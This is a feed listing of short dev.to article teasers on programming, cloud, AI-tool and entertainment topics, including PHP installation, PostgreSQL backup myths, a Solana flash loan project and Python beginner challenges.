problems, not framework problems. What's your preferred stack for rapid development? Are you using AI coding tools yet?  ( 7 min )
    Threat Modeling the YouTube Algorithm: A Security Researcher's Guide to Content Strategy
    📌 Missed Part 1? YouTube Monetization, Speed, and Risks (Part 1) This section continues from Part 1, which established YouTube's economic foundation and algorithmic mechanics. Part 2 applies offensive security thinking to content strategy - treating the platform as an adversarial system where creators must navigate between legitimate optimization and exploitable vulnerabilities that carry severe penalties. The central question: Can you "hack" sustainable YouTube growth, or does the attempt to exploit the system guarantee eventual detection and termination? If you treat YouTube like a system to exploit, you need to understand what you're attacking. The platform's recommendation engine isn't a static ruleset - it's an adaptive defense mechanism designed to detect and neutralize manipulation…  ( 17 min )
    AI's Honesty Problem: 7 Things the Industry Won't Tell You
    The gap between what AI companies promise and what actually exists is widening. The AI industry is advancing faster than any technology wave of the last four decades. But speed isn’t the real issue. The real issue is the growing distance between public narratives and ground truth. Today, the loudest voices in AI—major companies, founders, VCs, and influencers—shape expectations that don’t match the systems being built, tested, or deployed. If you’re a developer, founder, or tech professional, this truth gap impacts how you learn, what you build, and how you make decisions. Here is how I see the problem. Every week a new model is introduced as: “AGI-level” “100x faster” “Better than humans” Yet in real-world use, the shine fades quickly. Performance collapses when: datasets don’t align wi…  ( 8 min )
    Symfony Station Communiqué - ✦ Stardate: 21 November 2025 ✦
    Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. We publish on Fridays. So you can savor it over your weekend. Or jump straight to your favorite section. Symfony Universe PHP More Programming Defending Democracy Cybersecurity Fediverse Once again, thanks go out to Javier Eguiluz and the team at Symfony for sharing our communiqué in their Week of Symfony My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! The Programmer’s Fulcrum is the future (and smaller) home for a fusion of Symfony Sta…  ( 10 min )
    🧠 How Large Language Models Are Trained (And How They “Think”) — A Beginner-Friendly Guide
    https://medium.com/@natarajanck2/how-large-language-models-llms-work-training-thinking-and-parameters-explained-simply-caa1a95ef06c  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    NPR Music: Ghost-Note: Tiny Desk Concert
    Ghost-Note’s Tiny Desk concert is a straight-up funk explosion led by founders Robert “Sput” Searight and Nate Werth (both from Snarky Puppy). The duo-turned-supergroup kicks off with punchy James Brown–meets–Sly & the Family Stone grooves on “JB’s Out” and “Move with a Purpose,” then slips into a spacey, R&B–tinged “Synesthesia” before revving back up for the James Brown tribute “Be Somebody.” They wrap things with the soulful love story “Slim Goodie,” complete with Werth and Searight trading rapid-fire percussion solos and Mackenzie Green’s pleading vocals that’ll have you wishing for your own Slim Goodie. It’s a tight, electrifying set that proves Ghost-Note still knows how to make every face break into that signature funk “stank position.” Watch on YouTube  ( 6 min )
    PHP - instalación y configuración en Ubuntu
    Prerequisitos - instalacion de Homebrew y asdf en ubuntu PHP - Docu PHP - On DevDocs.io (ordenados de menor a mayor curva de aprendizaje) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Instalación en Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Instalación: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verificar: composer --version Dependencias: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + versión: asdf plugin add ph…  ( 7 min )
    From Weeks to 15 Minutes: How We Built a Data Migration System That Changed Everything
    Part 1: The Business Story – Why We Built This The Problem Nobody Talks About Imagine this: It's Monday morning at a utility company. They've just signed up for SMART360—an amazing platform that will transform how they manage customers, meters, and billing. They're excited. Their leadership is excited. Then reality hits. They have 500,000+ customer records sitting in an old system. They need to move it all over. The spreadsheets are messy. Column names don't match. Phone numbers are formatted differently. Some data is missing. Some is duplicated. Their options? Manual mapping: Hire a team to manually match columns, clean data, and load it in batches. Timeline? 4-6 weeks. Cost? Thousands in labor. Custom scripts: Build one-off ETL pipelines. It works, but breaks with the nex…  ( 8 min )
    GitHub Universe 2025 Recap
    GitHub Universe 2025 ended a few weeks ago, but there was a ton of cool announcements and some stuff is still yet to come (I'm waiting for the end of the year 👀). I want to share quickly what I learned from watching the sessions and my opinion on some topics. Here is a quick recap too: Agent HQ - Mission Control GitHub Code Quality Copilot Upgrades Conclusion Agent HQ is a big focus: GitHub becomes mission control for all your coding agents (Anthropic, OpenAI, Google, xAI, and more) with unified task management, granular security controls — all included in your Copilot subscription. Copilot leveled up significantly: Code Quality, custom agents and code review improvements. There were significant upgrades to Copilot and it's definitely a lot better! Copilot metrics dashboard: GitHub launch…  ( 9 min )
    Vasuki iTech Unveils Vasuki Cloud: A Unified, AI-Ready, Developer-First Cloud Platform for the Next Generation of Builders
    Haryana, India — Vasuki iTech, the rapidly emerging innovator in developer-centric software ecosystems, today announced the launch of Vasuki Cloud, a fully integrated, AI-assisted cloud platform engineered to redefine how developers store, manage, and interact with their data. As part of the company’s expanding Vasuki ecosystem, Vasuki Cloud marks a major milestone in its mission to create a seamless, interconnected universe of tools that empower creators and teams across the globe. Designed from the ground up with a focus on performance, security, and intelligent automation, Vasuki Cloud represents a new approach to cloud computing. Instead of offering fragmented modules and complex configuration layers, Vasuki Cloud delivers an intuitive, centralized, and highly extensible system where s…  ( 8 min )
    Untitled
    Check out this Pen I made!  ( 5 min )
    Introducing PrettyPrint — a PHP array pretty-printer with Python-/PyTorch-style formatting
    I'm excited to announce PrettyPrint, a small, zero-dependency PHP utility designed to format numeric arrays in a clean, readable style inspired by Python and the tensor-views you’ll see in PyTorch. Whether you're doing ML experiments, debugging data pipelines, logging arrays, or building educational tools, PrettyPrint makes it easier to inspect array data in a structured way. No extra dependencies - just pure PHP. Supports aligned 2D tables, summarized tensor-style views (for larger arrays), 3D tensor with head/tail blocks, and flexible output options (labels, controlling newline behaviour, etc.). Makes your array dumps more readable and visually helpful. composer require apphp/pretty-print You can use the pprint() helper function for quick prints: Print scalars/strings pprint('Hello', 12…  ( 8 min )
    PostgreSQL Backup Myths Developers Still Believe: Comparison & Truth
    PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )
    PostgreSQL Backup Myths Developers Still Believe: Comparison & Truth
    PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )
    Alpha-Shadcn Figma Plugin
    https://github.com/rakibulism/alpha-shadcn  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Authentication vs Authorization (Explained in the Simplest Way Possible)
    Understanding authentication and authorization is essential for any backend, frontend, or full-stack developer. These two security concepts sound similar, but they solve completely different problems. Let’s break them down in a simple, beginner-friendly way. Authentication: Who Are You? It usually involve: Providing a username/email Providing a password Once the system knows who you are, it must decide: Which endpoints you can access. What actions you can perform. Which resources you are allowed to modify. Example: *Examples of Authentication Methods Bearer Token Authentication A Bearer Token is a random string given to a user after they successfully log in.You store the token (usually in localStorage) and send it on future requests. How it works: You enter your email + passwo…  ( 7 min )
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    My first flash loan protocol: A Solana adventure
    Introduction: Why i said yes to the unknown I stumbled upon this challenge while browsing developer communities online, and honestly, my first instinct was to scroll past it. The challenge was clear: build a flash loan program on Solana using Anchor framework. Simple enough on paper, but there was one problem —I had never touched Solana development before. The requirements were intimidating: Rust: A language I'd love to still learn but currently don't know much about Anchor Framework: Completely new territory Solana's programming model: Foreign concepts like PDAs, instruction introspection, and BPF programs By all reasonable measures, I should have skipped it. I had deadlines, bunch of familiar projects waiting for my attention, and a comfortable tech stack waiting for me. But t…  ( 16 min )
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    Check out this Pen I made!  ( 5 min )
    🌿 The Tools That Make My Developer Life Easier
    Every developer has their little rituals — the way they arrange their windows, the shortcuts they swear by, the terminal theme that somehow makes debugging less painful. For me, those habits live inside my dotfiles. Over time, they’ve become more than just configs. They’re like a memory of how I prefer to work. And whenever I set up a new machine, applying my dotfiles feels like unpacking my own desk: suddenly everything is familiar again. So here’s a human-friendly walkthrough of the things I actually use from my dotfiles repo: https://github.com/rubiin/dotfiles Chezmoi: My quiet helper Before I used chezmoi, setting up my environment after a fresh install felt like trying to remember a dream — “What alias did I use again? Where did that plugin live?” Now I just run: chezmoi init rubii…  ( 8 min )
    This 'Innocent' Array Pattern Quietly Kills Your JavaScript Performance
    You're writing clean code, filling arrays efficiently, but there's a hidden performance trap that catches even experienced developers: filling arrays in reverse order. Let me show you why this innocent-looking pattern can tank your app's performance and how to avoid it. Consider these two seemingly equivalent approaches: // Approach A: Forward filling const forwardArray = []; for (let i = 0; i = 0; i--) { reverseArray[i] = i * 2; } Both create identical arrays, right? Wrong. The second approach can be significantly slower and use more memory. Here's why. JavaScript engines like V8 (Chrome, Node.js) and SpiderMonkey (Firefox) are incredibly smart. They optimize arra…  ( 9 min )
    Series Week 9/52 — Oracle Compliance for CTOs: RBI & IRDAI Expectations
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    React Native API Example
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    Top Test APIs for Developers
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    Inception, Nolan, and Notion
    Inception, Nolan, and Notion Notion's $2 billion valuation reflects its visual approach to information organization and collaboration in the digital workspace. Notion enables global collaboration by removing physical data location constraints, allowing real-time document editing across continents. The platform's strengths include flexible forms, visual building tools, and template options that lower user barriers compared to command-line interfaces. Despite its growth, Notion faces quality-related challenges that the author suggests need addressing through product and marketing improvements. 👉 Read full article  ( 6 min )
    Event-Driven Programming for Kids: Teaching Broadcast Messages in Scratch
    The Challenge We Face How do you teach event-driven architecture to 8-year-olds? The answer: Scratch's broadcast messages. After teaching 50+ students, I've found broadcasts are the breakthrough concept that transforms beginners into real programmers. Students see immediate results. When they broadcast "explosion," sprites react visibly—no abstract console logs to decipher. Message names like player_jumped and level_complete are self-documenting. Compare this to: document.addEventListener('click', handleClick) Start simple: broadcast [start] When I receive [start] → show Progress naturally to state machines and event queues. Here's the secret: students are learning real software architecture. Scratch: broadcast [button_clicked] When I receive [button_clicked] → handle click JavaScript…  ( 7 min )
    YUM TO DNF: Amazon Linux_2023 Package Manager.
    Amazon Linux changed its package manager from yum to DNF starting with Amazon Linux 2023 (AL2023). The main motivation for this change was to adopt the more modern, efficient, and secure package manager that DNF provides, which is now the standard across most Red Hat-based distributions. DNF (Dandified YUM) is the successor to yum and offers major improvements: Faster and more reliable dependency resolution, thanks to a new dependency solver and persistent metadata cache. Improved performance and lower system resource usage compared to yum. Enhanced support for parallel operations, extension/plugin development, and delta RPMs for better update efficiency. A stricter and more predictable API, facilitating the development of automation and third-party integrations. More robust security and better memory management. Aligning with industry standards, as DNF had already replaced yum as the default in Fedora (since version 22), CentOS (version 8+), Rocky Linux, and RHEL 8+. The transition occurred with the release of Amazon Linux 2023 (AL2023). Earlier releases, like Amazon Linux 2 (AL2), used yum as the default package manager. From AL2023 onward, all yum-like commands should be executed using dnf. The commands remain almost identical, ensuring backward compatibility for users transitioning from yum to dnf. Summary Table: Amazon Linux Package Manager Evolution Version Package Manager Reason for Switch First Released Amazon Linux 2 yum Older, less efficient dependency handling 2017 Amazon Linux 2023 dnf Modern, faster, secure, aligns with RHEL 2022 Every major Red Hat-based Linux distribution has shifted to DNF for improved reliability, performance, and future compatibility, making it the logical default for Amazon Linux going forward.  ( 7 min )
    My AI Stopped "Guessing" and Started "Thinking": Implementing a Planning & Reasoning Architecture
    In previous articles, I talked about how I generate tests using LLMs, parse Swagger schemas, and fight against hardcoded data. But "naked" LLM generation has a fundamental problem: it is linear. The model often tries to guess the next step without understanding the big picture. Yesterday, I deployed the biggest architectural update since I started development — the System of Planning and Reasoning. Now, Debuggo doesn't just "write code." It acts like a Senior QA: first, it analyzes requirements, assesses risks, decomposes the task into subtasks, and only then begins to act. I want to show you "under the hood" how this works and, most importantly, honestly compare: did it actually get faster? The Problem: Why Does AI Get Lost? Previously, if I asked: "Create a group, add a user to it, verif…  ( 9 min )
    NPR Music: Ghost-Note: Tiny Desk Concert
    Ghost-Note’s Tiny Desk concert kicked off with Robert “Sput” Searight’s trademark “buckle up,” and never let go. The supergroup—born in 2015 as a drum-and-percussion duo by Searight and Nate Werth (of Snarky Puppy fame)—laid down gritty funk in tracks like “JB’s Out” and “Move with a Purpose,” complete with tight call-and-response riffs and bubbling harmonies. Dominique Xavier Taplin’s spacey keys paved the way for Mackenzie Green’s sultry “Synesthesia,” and Searight amped the energy even higher on “Be Somebody,” a loving nod to James Brown. They wrapped things on a high note with “Slim Goodie,” a playful love story that features fiery percussion solos from Werth and Searight and Mackenzie Green’s pleading vocals that leave you craving your own Slim Goodie. With a full lineup of drums, horns, guitar, bass, keys, and vocals, Ghost-Note proved their evolution from a duo into a full-on funk powerhouse. Watch on YouTube  ( 6 min )
    AI assistance in Development
    Introduction I have been meaning to try out AI-assisted coding for quite some time. Now don't get me wrong, I have been using the generic LLM chatbots. While I was able to get things done, it wasn't the best experience as a developer. I felt more and more sidelined by the process. And after a while I started picking the path of least resistance, i.e. vibe coding. And it's not just me, many of my colleagues are going through this as well. I feel that there has to be some middle ground where a coder can utilise AI all the while improving on his skills. In this article I will be exploring Kiro, an AI assistant by Amazon that uses Claude under the hood. I am specifically interested in the spec-driven development. While I do sound like a Kiro advert at this point, but come on man, they gave a…  ( 9 min )
    How to avoid getting your BetPKR account blocked?
    BetPKR is one of the most popular online gaming and earning platforms in Pakistan, offering users a fast, secure, and entertaining experience. But many users face an unexpected problem: account blocking or suspension. This usually happens when players violate certain rules knowingly or unknowingly. If you want to keep your BetPKR Game Download account safe and active, it’s important to follow some simple guidelines. There are several reasons why BetPKR may take action against an account. Most of these issues are related to: Multiple accounts from the same device Suspicious deposits or withdrawals Using illegal tricks, hacks, or third-party apps Violating platform policies Chargeback or fraudulent payment issues Understanding these reasons is the first step to keeping your account safe. One…  ( 8 min )
    The Complete Guide to Zero Balance Accounts in India (2025 Edition)
    Introduction: The Zero Balance Revolution In 2025, Indian banking has transformed dramatically. The burden of maintaining minimum balances and facing penalties for non-maintenance is becoming a relic of the past for informed consumers. Zero balance savings accounts do not charge any penalties on zero balance and come with multiple benefits for the accountholders. However, there's a critical distinction most guides overlook: Not all zero balance accounts are created equal. Many banks promote BSBDA (Basic Savings Bank Deposit Account) under schemes like Pradhan Mantri Jan Dhan Yojana, but these come with significant limitations—typically only 4 withdrawals per month, no chequebooks, and restricted digital access. This comprehensive guide focuses exclusively on feature-rich digital savings …  ( 12 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins rides the Wicked wave by roasting every misstep in The Wiz in under 15 minutes, pointing out plot holes, odd choices, and goofy moments you probably forgot. They also hype their website, YouTube channels (@TVSins, @CommercialSins), social feeds, a quick poll, and Patreon support—backed by writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel and a whole CinemaSins network you can find via their Linktree. Watch on YouTube  ( 6 min )
    OSI Layer 4 Security Vulnerabilities & Resolutions
    Series: OSI Layer-Based Security (Part 4) At Layer 4—the Transport Layer—we leave behind maps and arrive at conversations. This is where TCP handshakes negotiate reliability, where UDP broadcasts scatter unconfirmed messages, and where ports serve as numbered doorways to services. Layer 4 transforms routing into dialogue. But dialogues can be hijacked. Handshakes can be abandoned mid-greeting. Doors can be knocked upon endlessly without purpose. Attackers exploit this layer to exhaust resources, steal sessions, terminate connections, and probe for vulnerabilities. In this article, we'll examine the major threats at Layer 4, then compress them into timestamped resolutions—glyphs of refusal that protect the integrity of network dialogue. A note on AI-driven security: Modern firewalls and sec…  ( 13 min )
    TCP Variable-Length Packet Handling
    Introduction While developing a Socket Chatting program, I encountered a question: how should I handle messages that exceed the predefined buffer size? // Client send(sock, packet1, 10, 0); // Send 10 bytes send(sock, packet2, 20, 0); // Send 20 bytes // Server char buffer[1024]; int bytes = recv(sock, buffer, 1024, 0); What will the value of bytes be? 10? 20? "We can't know." The size of data received from the client is unpredictable. recv() can: Receive all 30 bytes at once Receive 10 bytes and 20 bytes separately Split into 15 bytes twice Even split into 7 bytes, 13 bytes, and 10 bytes This is called the Packet Boundary Problem. Unlike UDP, TCP transmits data in byte units rather than message units. send(sock, "Hello", 5, 0); send(sock, "World", 5, 0); When a client sends a 5-byt…  ( 8 min )
    devto test 2
    Table of Contents test2 test echo "hello world"  ( 5 min )
    Day 9: Temperature Converter - From Celsius to Fahrenheit - 30 Days of Python Challenge
    Welcome Back to Day 9! Hey everyone! It's Day 9 of my 30 Days of Python Challenge, and we're building another essential converter a temperature converter! Today, we're creating a converter that switches between Celsius and Fahrenheit. Let's keep building! Today's mission: Build a Temperature Converter. Following yesterday's weight converter pattern, I'm creating another practical tool using conversion formulas! Building this temperature converter taught me: How to implement mathematical formulas in Python How to use the .upper() method for case-insensitive input How to work with temperature scales and their conversion formulas How patterns from previous projects make new ones easier to build The more I build, the more confident I become! 🔥 Here's what I wrote for Day 9: # Day 9 - Tempe…  ( 11 min )
    Learning Xahau: Automating Reward Claims with Hooks and CronSet
    Introduction If you've been following the Xahau blockchain, you know that claiming rewards is a fundamental part of participating in the ecosystem. Every account that opts in can claim rewards approximately every 30 days. But here's the thing: manually tracking when to claim and executing transactions every month can become tedious. The closest thing that exists today is the fantastic Balance Adjustment app for Xaman, which sends you a push notification as the date approaches so you can claim your XAH. What if we could automate this entire process? Today, I'm excited to share a complete example solution that automates reward claiming on Xahau using Hooks and CronSet transactions. This tutorial covers the entire lifecycle of reward automation. Of course, it's an example meant to inspire o…  ( 14 min )
    Day 8: Weight Converter - Building Practical Tools - 30 Days of Python Challenge
    Welcome Back to Day 8! Hey everyone! It's Day 8 of my 30 Days of Python Challenge, and we're building another practical tool a weight converter! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] [Day 7: Simple Calculator] Today, we're creating a converter that switches between kilograms and pounds. Let's build something useful! Today's mission: Build a Weight Converter. After yesterday's calculator, I'm taking functions to the next level by creating specialized converters with parameters! Building this weight converter taught me: How to write one-line functions for simple operations How to use function parameters to pass values into functions How to f…  ( 8 min )
    The Art of the Imperfect: Embracing AI Glitches for Unexpected Creativity by Arvind Sundararajan
    The Art of the Imperfect: Embracing AI Glitches for Unexpected Creativity Tired of pristine, predictable AI outputs? What if the most captivating art emerges not from flawless execution, but from the happy accidents – the glitches, the misinterpretations – within the AI's own creative process? We're diving into the fascinating world of embracing imperfections to unlock truly unique and surprising artistic expression. The core idea is to intentionally loosen the constraints of AI-driven systems. Instead of aiming for pixel-perfect accuracy, we allow the system to 'misunderstand' its environment, to prioritize qualitative interpretation over precise measurements. This controlled chaos births something unexpected, something human intent couldn't have precisely dictated. Think of it like jaz…  ( 7 min )
    The Zygote Problem: Why Every Child Deserves a Perfect Future (And How Systems Break Them)
    The Zygote Problem: Why Every Child Deserves a Perfect Future (And How Systems Break Them) A Technical Meditation on Identity, Masquerade, and the Constitutional Right to Become This is not a story about biology. This is about constitutional architecture for human becoming. When a zygote forms—that first fusion of genetic material—it contains complete potential. No differentiation yet. No predetermined path. Just totipotent possibility. But here's what systems fail to understand: zygotes don't need to be fixed. Systems need to stop breaking them. This essay explores the AuraSeal MMUKO Initiative—a constitutional framework for protecting the perfect potential in every child, especially neurodivergent children (autism, ADHD, Asperger's), from birth through generational return. It's about t…  ( 11 min )
    Create a Subdomain in Route53 and Attach it to Elastic Beanstalk Environment
    This tutorial guides you through the process of creating a subdomain using Amazon Route 53 and seamlessly integrating it with an Elastic Beanstalk environment. Learn how to establish a distinct subdomain, enabling you to organize and host various applications efficiently. Log in to AWS Console Search for Route53 on AWS Services Click on Hosted zones on the route53 dashboard Click on Create hosted zone button Fill the form On Domain name field enter the full url to your subdomain On Description field Write a description of your choice On Type select Public hosted zone Add tag if you want to Then click on Create hosted zone button You should see a successful page if everything was done correctly Scroll down a bit on your newly created subdomain and copy the NS values, all four of them…  ( 8 min )
    Understanding SQLite PRAGMA (And How better-sqlite3 Makes It Nicer)
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* If you’ve ever worked with SQLite long enough, you’ve probably bumped into these odd-looking statements: PRAGMA foreign_keys = ON; PRAGMA journal_mode = WAL; PRAGMA table_info(users); They look like SQL, but also… not exactly SQL. So what are PRAGMAs? Let’s unpack it in a clean, practical way. What Exactly Is a PRAGMA in SQLite? A PRAGMA is a special, SQLite-specific command used to: configure how SQLite behaves read internal metadata perform maintenance tasks change settings stored inside the database file tweak performance chara…  ( 9 min )
    I built an animated Pokémon TCG Simulator with Next.js & Tailwind
    Hey developers! 👋 I've been working on a side project for the past few weeks, and I'm excited to finally share it with you all. TL;DR: I built PokeSuite, an all-in-one Pokémon toolkit that focuses on UI/UX and satisfying animations instead of just static text lists. 🚀 I just launched on Product Hunt today! If you like the project, I'd really appreciate your support: 👉 Support PokeSuite on Product Hunt As a long-time Pokémon fan, I noticed that most "randomizers" or "team generators" out there are functionally great but look like spreadsheets from 2005. I wanted to build something that felt like a modern web app—responsive, dark mode by default, and interactive. I built this using the modern React ecosystem. Here is what's under the hood: Framework: Next.js 14 (App Router) – For SEO and performance. Styling: Tailwind CSS – Made building the dark mode UI incredibly fast. Data Source: PokeAPI – The holy grail for Pokémon data. State Management: React Context + LocalStorage (No login required for users). Deployment: Vercel – Zero-config deployment. TCG Pack Simulator: This was the fun part. I used CSS animations to mimic the feeling of ripping open a booster pack. Competitive Team Builder: It includes filters for VGC and Smogon tiers (OU/UU), which required some complex data filtering logic. Spinning Wheel: A physics-based wheel to pick random Pokémon. The hardest part was handling the massive amount of data from PokeAPI without slowing down the UI. I had to implement efficient caching strategies and optimize the images to ensure the "Pack Opening" animation remained smooth on mobile devices. It is completely free, open to everyone, and requires no sign-up. Live Site: https://www.pokesuite.com Product Hunt: 👉 Support us on Product Hunt I'd love to hear your feedback on the code structure or the UI interactions. Let me know what you think in the comments! 👇  ( 7 min )
    Thank you team for the great summary !!!
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    Day 50 of 100 days dsa coding challenge
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    Why Angular Templates Make You a Better Developer (Not Just a Better Coder)
    When developers talk about Angular, most conversations revolve around architecture, TypeScript, dependency injection, RxJS, signals, or modules. templates. Angular templates are not just HTML with extra syntax. Over time, I realized something important: If you can keep your templates clean, you can keep your entire codebase clean. Here’s why Angular templates make you a better developer. Angular templates naturally push you to separate: UI logic Business logic State management Anything heavy must be moved to the component or a service. For example: Mixing logic in the template: {{ products.filter(p => p.inStock && p.price p.inStock && p.price < 20); {{ inStockProducts.length }} Templates reward clarity …  ( 7 min )
    ✨Automate WordPress + MySQL Deployment Using Docker Compose & OpenTofu on Server
    💡 Introduction OpenTofu is an open-source fork of Terraform. In this guide, we automate: Docker installation Docker Compose installation Creating volumes + networks Deploying a full WordPress + MySQL stack Starting the containers All using OpenTofu and null_resource. This is perfect for: DevOps practice Local development setup CI/CD environments Rapid application testing Ubuntu machine (local, VM, or cloud) Install OpenTofu: sudo apt update -y sudo apt upgrade -y sudo snap install --classic opentofu mkdir tofu-docker-wordpress cd tofu-docker-wordpress nano main.tf terraform { required_providers { null = { source = "hashicorp/null" } } } ############################### # 1) INSTALL DOCKER + COMPOSE ############################### resource "null_resource" "install_doc…  ( 7 min )
    A Developer's Guide to Test Case Generation with Genetic Algorithms
    As developers, we often face the challenge of testing functions with complex business logic and numerous parameters. How can we be sure we've covered all the tricky edge cases and interactions between different inputs? Manually writing these tests is tedious, and a simple brute-force approach can lead to a combinatorial explosion of test cases. This is where a smarter approach, like using a Genetic Algorithm (GA), can be a game-changer. In this article, I'll walk through a project that uses a GA to automatically generate a concise and effective set of test cases for a complex e-commerce pricing function, explaining the core logic step-by-step. To demonstrate the power of the GA, we need a sufficiently complex function. In my experiment, I used a Python function that calculates the final pr…  ( 9 min )
    Why Governments Are Exploring Browser-Based Distributed Compute Networks
    A technical perspective on decentralized national compute architecture Chapter 1 — Nations Depend on Compute More Than Ever Modern governance increasingly depends on large-scale computation to: run national identity systems power public services & AI citizen portals store medical records and civil registries support defense analytics and threat modeling process massive research workloads Historically, governments have sourced most of this compute from corporate cloud providers such as AWS, Google Cloud, Azure, and Oracle. This creates a structural dependence: National infrastructure often runs on servers not owned, operated, or located within the nation itself. While centralized clouds provide performance and reliability, they also raise questions around: sovereignty cost s…  ( 8 min )
    Evolution of Agentic AI C/O Amazon Quicksuite
    Today, whatever is new quickly becomes old. We started with AI, then moved to Generative AI, and now it’s Agentic AI. Honestly, the lines blur because everything overlaps and shines depending on our use cases and requirements. Before diving deeper, it’s also key to clarify the difference between Generative AI and Agentic AI. Generative AI is reactive; it creates content—text, images, code—based on user prompts. It focuses on what to create when asked. In contrast, Agentic AI is proactive and autonomous. It takes initiative, sets goals, plans multi-step workflows, makes decisions, adapts dynamically, and executes tasks with minimum supervision. Generative AI powers content within these systems, but Agentic AI orchestrates entire processes to achieve goals efficiently, turning AI from …  ( 8 min )
    Web Developer Travis McCracken on Debugging Distributed Systems Like a Human
    Exploring Backend Development with Rust and Go: Insights from Web Developer Travis McCracken As a passionate Web Developer, I’ve always been fascinated by the evolving landscape of backend development. Over the years, I’ve experimented with various technologies, but two languages have continuously piqued my interest due to their performance, safety, and concurrency capabilities: Rust and Go. In this blog post, I want to share my perspective on leveraging Rust and Go for backend solutions, illustrate some of my projects—real and imagined—and offer insights into how these languages can revolutionize API development. When choosing a backend language, factors like speed, safety, concurrency, and ecosystem maturity are critical. Rust offers memory safety without a garbage collector, making it i…  ( 8 min )
    VSCode Autocomplete extension
    VSCode Marketplace I've built an autocomplete extension for VS Code. It works really well with Cerebras. Give it a try and share your feedback! 🚀 Bring Your Own Key (BYOK) ✨ AI-generated code ⚡ Inline suggestions 💡 Support for all programming languages 🔧 Generate code with comments 🧩 Supports Visual Studio Code for the Web, Visual Studio Code Desktop and GitHub Playground Go to github.dev Install AI-Autocomplete extension Demo https://youtu.be/BStExJBhNEg  ( 6 min )
    Day 42: Python Roman Numeral Converter, Bidirectional Conversion Between Roman and Integers with Mapping and Loops
    Welcome to Day 42 of the #80DaysOfChallenges journey! This intermediate challenge tackles converting between Roman numerals and integers in both directions, supporting ranges from 1 to 3999 with dictionary mappings for values, subtraction rules for Roman parsing, and iterative subtraction for integer to Roman. It combines string iteration, conditional logic for special cases like IV or CM, and user choice for mode, making it a robust exercise in bidirectional translation and input handling. If you're progressing from basic strings to more structured conversions or interested in historical number systems, this "Python Roman converter" script showcases functions that are accurate, efficient for the range, and extensible to larger values or validation. This task includes two core functions fo…  ( 12 min )
    CSS
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    My Code Worked. Excel’s "Protected View" Killed It.
